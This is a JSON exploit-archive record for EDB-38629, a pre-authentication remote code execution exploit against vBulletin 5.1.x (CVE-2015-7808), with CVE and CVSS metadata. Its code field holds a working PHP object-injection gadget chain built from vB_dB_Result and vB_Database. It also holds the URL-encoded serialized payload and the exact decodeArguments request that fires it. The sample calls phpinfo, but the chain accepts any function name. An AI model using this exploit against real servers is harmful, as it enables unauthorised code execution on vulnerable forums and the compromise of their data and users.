{"exploit":{"id":"EDB-38629","name":"vBulletin 5.1.x - Remote Code Execution (RCE)","description":"vBulletin 5.1.x - Remote Code Execution (RCE)","cves":["CVE-2015-7808"],"author":"hhjj","published":"2015-11-05","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/38629","path":"exploits/php/webapps/38629.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-38629.txt","vulnerabilities":[{"id":"CVE-2015-7808","state":"PUBLISHED","title":null,"titleSource":null,"description":"The vB_Api_Hook::decodeArguments method in vBulletin 5 Connect 5.1.2 through 5.1.9 allows remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via a crafted serialized object in the arguments parameter to ajax/api/hook/decodeArguments.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-7808","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-7808"},"updatedAt":"2024-08-06T07:58:59.957Z","retrievedAt":"2026-11-27T11:09:42.270Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-38629.png?v=2","url":"https://exploitbin.com/exploits/EDB-38629","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-38629/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-38629/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Vbulletin 5.1.X unserialize 0day preauth RCE exploit\n# Date: Nov 4th, 2015\n# Exploit Author: hhjj\n# Vendor Homepage: http://www.vbulletin.com/\n# Version: 5.1.x\n# Tested on: Debian\n# CVE :\n# I did not discover this exploit, leaked from the IoT.\n\n# Build the object\nphp << 'eof'\n<?php\nclass vB_Database {\n       public $functions = array();\n\n       public function __construct()\n       {\n               $this->functions['free_result'] = 'phpinfo';\n       }\n}\n\nclass vB_dB_Result {\n       protected $db;\n       protected $recordset;\n\n       public function __construct()\n       {\n               $this->db = new vB_Database();\n               $this->recordset = 1;\n       }\n}\n\nprint urlencode(serialize(new vB_dB_Result())) . \"\\n\";\neof\nO%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2A%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2A%00recordset%22%3Bi%3A1%3B%7D\n\n#Then hit decodeArguments with your payload :\nhttp://localhost/vbforum/ajax/api/hook/decodeArguments?arguments=O%3A12%3A%22vB_dB_Result%22%3A2%3A%7Bs%3A5%3A%22%00%2a%00db%22%3BO%3A11%3A%22vB_Database%22%3A1%3A%7Bs%3A9%3A%22functions%22%3Ba%3A1%3A%7Bs%3A11%3A%22free_result%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7Ds%3A12%3A%22%00%2a%00recordset%22%3Bi%3A1%3B%7D","sha256":"40286a5e9966203d3bee7e45b9fded7ec3b22523b53caa72224e0cc26ed0e62d","bytes":1349,"fetchedAt":"2026-11-27T11:09:36.571Z","encoding":"utf-8 (display only; download retains original bytes)"}